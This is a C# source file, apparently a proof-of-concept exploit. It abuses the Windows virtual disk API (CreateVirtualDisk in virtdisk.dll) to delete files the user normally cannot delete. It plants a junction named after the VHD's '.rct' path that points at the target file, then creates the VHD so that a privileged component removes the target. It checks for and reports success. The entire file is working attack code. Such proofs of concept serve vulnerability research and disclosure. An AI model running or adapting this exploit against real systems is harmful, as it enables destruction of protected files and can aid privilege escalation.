using Microsoft.Win32.SafeHandles;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace DfscTest
{
    class Program
    {
        enum StorageDeviceType
        {
            Unknown = 0,
            Iso = 1,
            Vhd = 2,
            Vhdx = 3,
            VhdSet = 4,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct VirtualStorageType
        {
            public StorageDeviceType DeviceId;
            public Guid VendorId;
        }

        enum OpenVirtualDiskFlag
        {
            None = 0,
            NoParents = 1,
            BlankFile = 2,
            BootDrive = 4,
            CachedIo = 8,
            DiffChain = 0x10,
            ParentcachedIo = 0x20,
            VhdSetFileOnly = 0x40,
        }

        enum CreateVirtualDiskVersion
        {
            Unspecified = 0,
            Version1 = 1,
            Version2 = 2,
            Version3 = 3,
        }
            
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
        struct CreateVirtualDiskParameters
        {
            public CreateVirtualDiskVersion Version;
            public Guid UniqueId;
            public ulong MaximumSize;
            public uint BlockSizeInBytes;
            public uint SectorSizeInBytes;
            public uint PhysicalSectorSizeInBytes;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string ParentPath;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourcePath;
            // Version 2 on
            public OpenVirtualDiskFlag OpenFlags;
            public VirtualStorageType ParentVirtualStorageType;
            public VirtualStorageType SourceVirtualStorageType;
            public Guid ResiliencyGuid;
            // Version 3 on
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourceLimitPath;
            public VirtualStorageType BackingStorageType;
        }

        enum VirtualDiskAccessMask
        {
            None = 0,
            AttachRo = 0x00010000,
            AttachRw = 0x00020000,
            Detach = 0x00040000,
            GetInfo = 0x00080000,
            Create = 0x00100000,
            MetaOps = 0x00200000,
            Read = 0x000d0000,
            All = 0x003f0000
        }

        enum CreateVirtualDiskFlag
        {
            None = 0x0,
            FullPhysicalAllocation = 0x1,
            PreventWritesToSourceDisk = 0x2,
            DoNotcopyMetadataFromParent = 0x4,
            CreateBackingStorage = 0x8,
            UseChangeTrackingSourceLimit = 0x10,
            PreserveParentChangeTrackingState = 0x20,
        }        

        [DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
        static extern int CreateVirtualDisk(
            [In] ref VirtualStorageType VirtualStorageType,
            string Path,
            VirtualDiskAccessMask        VirtualDiskAccessMask,
            [In] byte[] SecurityDescriptor,
            CreateVirtualDiskFlag        Flags,
            uint ProviderSpecificFlags,
            [In] ref CreateVirtualDiskParameters Parameters,
            IntPtr  Overlapped,
            out IntPtr Handle
        );

        static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
        static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");

        static SafeFileHandle CreateVHD(string path)
        {
            VirtualStorageType vhd_type = new VirtualStorageType();
            vhd_type.DeviceId = StorageDeviceType.Vhd;
            vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;

            CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
            ps.Version = CreateVirtualDiskVersion.Version1;
            ps.SectorSizeInBytes = 512;
            ps.MaximumSize = 100 * 1024 * 1024;
            IntPtr hDisk;
            int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
            if (error != 0)
            {
                throw new Win32Exception(error);
            }

            return new SafeFileHandle(hDisk, true);
        }
        
        static void Main(string[] args)
        {
            try
            {
                if (args.Length < 1)
                {
                    Console.WriteLine(@"[USAGE]: poc file\to\delete");
                    Environment.Exit(1);
                }

                string delete_path = Path.GetFullPath(args[0]);

                if (!File.Exists(delete_path))
                {
                    Console.WriteLine("[ERROR]: Specify a valid file to delete");
                    Environment.Exit(1);
                }

                try
                {
                    File.Delete(delete_path);
                    Console.WriteLine("[ERROR]: Could already delete file, choose one which you normally can't delete");
                    Environment.Exit(1);
                }
                catch
                {                    
                }

                string vhd_path = Path.GetFullPath("test.vhd");
                File.Delete(vhd_path);
                try
                {
                    Directory.Delete(vhd_path + ".rct");
                }
                catch
                {
                }

                Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path);
                string cmdline = String.Format("/C mklink /J \"{0}.rct\" \"{1}\"", vhd_path, args[0]);
                ProcessStartInfo start_info = new ProcessStartInfo("cmd", cmdline);
                start_info.UseShellExecute = false;

                Process p = Process.Start(start_info);
                p.WaitForExit();
                if (p.ExitCode != 0)
                {
                    Console.WriteLine("[ERROR]: Can't create symlink");
                    Environment.Exit(1);
                }
                
                using (SafeFileHandle handle = CreateVHD(vhd_path))
                {
                }

                if (File.Exists(delete_path))
                {
                    Console.WriteLine("[ERROR]: Didn't delete arbitrary file");
                }
                else
                {
                    Console.WriteLine("[SUCCESS]: Deleted arbitary file");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}